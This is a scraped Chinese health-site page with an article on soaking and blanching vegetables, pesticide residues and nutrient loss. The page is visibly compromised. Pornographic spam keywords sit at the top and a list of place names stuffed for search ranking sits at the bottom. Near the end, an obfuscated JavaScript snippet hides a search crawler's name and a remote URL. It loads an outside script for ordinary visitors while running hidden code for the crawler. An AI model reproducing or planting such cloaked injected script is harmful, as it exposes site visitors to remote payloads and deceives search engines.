亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

浸泡和焯燙蔬菜好不好?

2016-07-05 09:15:41  來源:360常識網(wǎng)   熱度:
導(dǎo)語:蔬菜里不僅有農(nóng)藥,還有那么多營養(yǎng)成分和保健成分,我們怎能無視呢?所以,完全沒必要因?yàn)榕罗r(nóng)藥而大量吃肉不敢吃菜,多吃菜少吃肉才是更安全更健康的選擇。

浸泡和焯燙蔬菜好不好?

浸泡和焯燙蔬菜好不好?

浸泡和焯燙蔬菜好不好?

浸泡時(shí)間較短,對細(xì)胞結(jié)構(gòu)尚未產(chǎn)生破壞之前,理論上是不會造成營養(yǎng)素?fù)p失的。但是焯燙則不然,它既增加細(xì)胞膜滲透性而造成細(xì)胞內(nèi)容物溶出,又因?yàn)榧訜岷脱趸鴮?dǎo)致食物成分發(fā)生變化。我這里學(xué)生的實(shí)驗(yàn)也發(fā)現(xiàn),隨著焯燙時(shí)間的延長,蔬菜中的維生素C、維生素B2等水溶性維生素含量下降,酚類物質(zhì)的含量也會下降。鉀是一種可溶性元素,它也隨著焯燙時(shí)間的延長而逐漸溶入水中,從而損失增大;鎂元素也會有部分損失。

不過,焯燙還是可以保存一部分營養(yǎng)保健成分,比如不溶于水的類胡蘿卜素和維生素K,以及不溶于水的鈣、鐵等元素,含量不會下降。

綜上所述,可以得到以下結(jié)論:

1、沒吸收進(jìn)去的有機(jī)磷農(nóng)藥可以洗掉,吸收進(jìn)去的也能通過焯水去掉,但它本來就不容易蓄積中毒,加熱也容易分解。而有機(jī)氯農(nóng)藥和重金屬洗不掉,焯不掉,能蓄積中毒。

2、吃蔬菜并不比吃肉更危險(xiǎn)。其中難分解污染物的含量大大低于動物性食品的水平。

3、焯燙雖然能有效去掉農(nóng)藥和草酸,但同時(shí)也會損失很多營養(yǎng)和保健成分。是否要這么做,看自己的選擇。如果選擇焯燙,請盡量縮短時(shí)間。

4、一定要先用流水洗凈蔬菜,此后可以浸泡一會兒,但時(shí)間不宜過長,以20分鐘之內(nèi)為宜。不要搓洗傷害細(xì)胞。

5、亞硝酸鹽可以通過焯燙去除,但對于新鮮蔬菜來說,這本來就不是個安全問題。新鮮的蔬菜不僅亞硝酸鹽含量低,而且營養(yǎng)素含量高,何必要等到不新鮮再吃呢。

無數(shù)研究證實(shí),蔬菜攝入量與多種癌癥和心腦血管疾病危險(xiǎn)呈現(xiàn)反相關(guān),說明蔬菜吃得越多,人們越能遠(yuǎn)離疾病,蔬菜里不僅有農(nóng)藥,還有那么多營養(yǎng)成分和保健成分,我們怎能無視呢?所以,完全沒必要因?yàn)榕罗r(nóng)藥而大量吃肉不敢吃菜,多吃菜少吃肉才是更安全更健康的選擇。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
阿荣旗| 修文县| 建宁县| 阳信县| 手游| 玉龙| 喀喇| 白水县| 蚌埠市| 商丘市| 夹江县| 内江市| 郎溪县| 砀山县| 磐石市| 务川| 华蓥市| 平乐县| 锡林浩特市| 乡宁县| 柳州市| 乌鲁木齐县| 章丘市| 苏尼特左旗| 遵义市| 呼图壁县| 大理市| 万全县| 利川市| 三原县| 吉安县| 泌阳县| 香河县| 上虞市| 襄樊市| 连城县| 安溪县| 城固县| 大港区| 宜兰市| 朔州市|